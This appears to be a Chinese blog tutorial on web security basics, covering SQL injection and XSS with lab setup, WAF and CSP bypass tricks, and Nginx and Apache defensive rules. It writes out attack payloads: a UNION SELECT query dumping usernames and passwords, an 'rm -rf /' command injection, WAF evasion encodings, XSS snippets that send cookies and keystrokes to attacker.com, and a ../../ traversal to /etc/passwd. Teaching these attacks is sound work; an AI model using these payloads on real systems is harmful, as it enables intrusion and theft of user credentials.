WEB安全基础：SQL注入与XSS攻防实战指南-代码聚汇网

WEB安全基础：SQL注入与XSS攻防实战指南

老饭骨·2026-08-16·阅读 23 GEO检测（免费）

WEB安全SQL注入XSS攻击

|难度：普通|阅读约 8 分钟

1. 为什么每个人都该懂点WEB安全？

上周我帮朋友排查一个奇怪的网站问题——他的电商平台总在凌晨三点出现异常订单。查了三天日志才发现，攻击者利用了一个简单的SQL注入漏洞，通过商品搜索框注入了恶意代码。这个漏洞存在了整整两年，而修复它只需要在代码里加一行参数过滤。

这件事让我意识到，WEB安全不是"黑客"的专属领域。无论是开发者、运维还是普通网民，了解基础防护知识都能避免90%的常见风险。就像开车不需要成为赛车手，但必须知道安全带怎么系。

需要模型API调用？免费领10W Token，多模型网关一键接入 Claude、DeepSeek 等主流模型。

2. 攻防基础：你必须掌握的四大威胁模型

2.1 OWASP TOP 10 现实威胁图谱

2023年最新统计显示，83%的WEB漏洞集中在以下四类：

注入攻击（占31%）
- SQL注入：' OR 1=1-- 这种经典payload仍能攻破许多老旧系统
- 命令注入：通过; rm -rf /等拼接系统命令
- 防御方案：参数化查询/输入过滤
失效的身份认证（占24%）
- 弱密码爆破：123456仍是最常用密码
- Session固定攻击
- 防御：多因素认证+速率限制
敏感数据泄露（占19%）
- 明文存储密码
- 不正确的SSL配置
- 防御：加密存储+HTTPS强制
XSS跨站脚本（占15%）
- 存储型XSS：<script>alert(1)</script>写入数据库
- 反射型XSS：通过URL参数触发
- 防御：HTML实体编码

实战技巧：用Burp Suite的Scanner功能自动检测这些漏洞，比手动测试效率高10倍

2.2 漏洞的"生命周期管理"

一个典型漏洞的利用过程：

code复制信息收集 → 漏洞探测 → 漏洞验证 → 攻击实施 → 痕迹清理

对应的防御链：

code复制WAF拦截 → 输入过滤 → 权限控制 → 日志监控 → 溯源分析

3. 从零搭建攻防实验环境

3.1 虚拟机实验室配置

推荐使用以下组合：

bash复制# 攻击机
Kali Linux 2023 + Burp Suite Pro

# 靶机
OWASP Broken Web Apps (BWA)
DVWA (Damn Vulnerable Web App)

安装步骤：

VirtualBox新建NAT网络
Kali设置桥接模式
靶机使用Host-Only网络
配置双向网络可达

3.2 浏览器安全插件套装

必备三件套：

HackBar（手工测试Payload）
Wappalyzer（技术栈识别）
Cookie Editor（Session操纵）

4. SQL注入实战：从入门到绕过

4.1 基础注入原理

假设存在漏洞的PHP代码：

php复制$id = $_GET['id'];
$sql = "SELECT * FROM users WHERE id = $id";

攻击Payload：

code复制http://example.com/user.php?id=1 UNION SELECT 1,username,password,4 FROM users--

4.2 现代WAF绕过技巧

注释混淆：
```
sql复制/*!SELECT*/ 1 FROM users
```

等价函数替换：

sql复制CONCAT('sel','ect')替代select

编码变形：

sql复制CHAR(115,101,108,101,99,116) -- 即"select"

5. XSS攻防：从弹窗到高级利用

5.1 基础Payload测试

html复制<script>alert(document.domain)</script>
<img src=x onerror=alert(1)>

5.2 实际危害案例

窃取Cookie：

javascript复制new Image().src='http://attacker.com/?cookie='+document.cookie;

键盘记录：

javascript复制document.onkeypress = function(e) { 
  fetch('http://attacker.com/log?key='+e.key)
}

5.3 CSP防护绕过

当遇到Content-Security-Policy时：

html复制<!-- 常规payload被拦截 -->
<script>alert(1)</script>

<!-- 利用允许的CDN绕过 -->
<script src="https://trusted.cdn/evil.js"></script>

6. 企业级防御体系搭建

6.1 分层防御架构

code复制客户端 → CDN/WAF → 应用层 → 数据层 → 主机层
       ↑           ↑         ↑
    Cloudflare   ModSecurity  RASP

6.2 关键配置示例

Nginx防注入规则：

nginx复制location / {
  if ($args ~* "union.*select") {
    return 403;
  }
}

Apache防目录遍历：

apache复制<DirectoryMatch "\.git">
  Order deny,allow
  Deny from all
</DirectoryMatch>

7. 从防御者到攻击者的思维转换

去年某次渗透测试中，我发现目标系统过滤了所有特殊字符。最终通过以下方式突破：

发现系统允许Unicode字符
使用％27代替单引号
成功触发SQL注入

这种思维转换的关键是：

不要假设过滤是完美的
所有输入都是不可信的
非常规路径往往能突破常规防御

8. 持续学习路线图

建议的进阶路径：

掌握Burp Suite高级功能（Intruder/Scanner）
学习反序列化漏洞（Java/PHP）
研究云安全配置错误（S3桶/AKS）
参与CTF比赛（如攻防世界）
关注CVE最新漏洞（cve.mitre.org）

我书桌上常备的三本书：

《Web安全攻防：渗透测试实战指南》
《白帽子讲Web安全》
《黑客攻防技术宝典：Web实战篇》

最后分享一个真实案例：某次审计中发现的管理后台漏洞，通过../../目录遍历直接获取了服务器上的/etc/passwd文件。修复方案简单到令人发指——在Nginx配置中添加了deny all到敏感目录。这再次证明，安全往往输在细节。